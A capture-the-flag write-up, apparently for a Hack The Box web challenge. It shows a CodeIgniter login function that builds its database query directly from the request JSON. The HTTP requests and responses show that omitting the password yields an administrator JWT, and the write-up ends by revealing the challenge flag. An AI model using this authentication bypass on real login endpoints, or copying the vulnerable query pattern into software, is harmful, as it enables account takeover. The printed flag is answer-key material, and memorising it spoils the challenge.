Insomnia

1) Checked the source code

https://codeigniter.com/user_guide/database/query_builder.html

```php
public function login()
{
    $db = db_connect();
    $json_data = request()->getJSON(true);
    if (!count($json_data) == 2) {
        return $this->respond("Please provide username and password", 404);
    }
    $query = $db->table("users")->getWhere($json_data, 1, 0);
    $result = $query->getRowArray();
    if (!$result) {
        return $this->respond("User not found", 404);
    } else {
        $key = (string) getenv("JWT_SECRET");
        $iat = time();
        $exp = $iat + 36000;
        $headers = [
            "alg" => "HS256",
            "typ" => "JWT",
        ];
        $payload = [
            "iat" => $iat,
            "exp" => $exp,
            "username" => $result["username"],
        ];
        $token = JWT::encode($payload, $key, "HS256");
```

We can pass password as empty to get admin token

2) Got admin token

Request

```
POST /index.php/login HTTP/1.1
Host: 94.237.49.212:42237
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://94.237.49.212:42237/index.php/login
Content-Type: application/json
Content-Length: 28
Origin: http://94.237.49.212:42237
Connection: close

{
  "username":"administrator"
}
```

Response

```
HTTP/1.1 200 OK
Date: Tue, 04 Jun 2024 05:52:39 GMT
Server: Apache/2.4.57 (Debian)
X-Powered-By: PHP/8.1.27
Cache-Control: no-store, max-age=0, no-cache
Content-Length: 204
Connection: close
Content-Type: application/json; charset=UTF-8

{
  "message":"Login Succesful",
  "token":
  "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3MTc0ODAzNTksImV4cCI6MTcxNzUxNjM1OSwidXNlcm
  5hbWUiOiJhZG1pbmlzdHJhdG9yIn0.WD6hwDwO62wwhqXNA2GIGyZQOqcAWg-9vAeGPolYFuQ"
}
```

3) Got flag

Request

```
GET /index.php/profile HTTP/1.1
Host: 94.237.49.212:42237
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://94.237.49.212:42237/index.php/login
Cookie: token=
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3MTc0ODAzNTksImV4cCI6MTcxNzUxNjM1OSwidXNlcm5hb
WUiOiJhZG1pbmlzdHJhdG9yIn0.WD6hwDwO62wwhqXNA2GIGyZQOqcAWg-9vAeGPolYFuQ
Upgrade-Insecure-Requests: 1
```

Response

```
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <script
    src="/js/jquery-3.2.1.slim.min.js"
    >
    </script>
    <script
    src="/js/popper.min.js"
    >
    </script>
    <link rel="stylesheet" href="/css/style.css" />
    <title>
      Document
    </title>
  </head>
  <body>
    <div class="app">
      <main>
        <section class="home" style="background-image: url(/images/theme.gif); height: 100vh;"
        >
          <div class="home__container">
            <div class="home__title">
              Welcome back administrator
            </div>
            <div class="home__desc">
              HTB{I_just_want_to_sleep_a_little_bit!!!!!}
            </div>
          </div>

        </section>
      </main>
      <footer>
      </footer>
    </div>

  </body>
</html>
```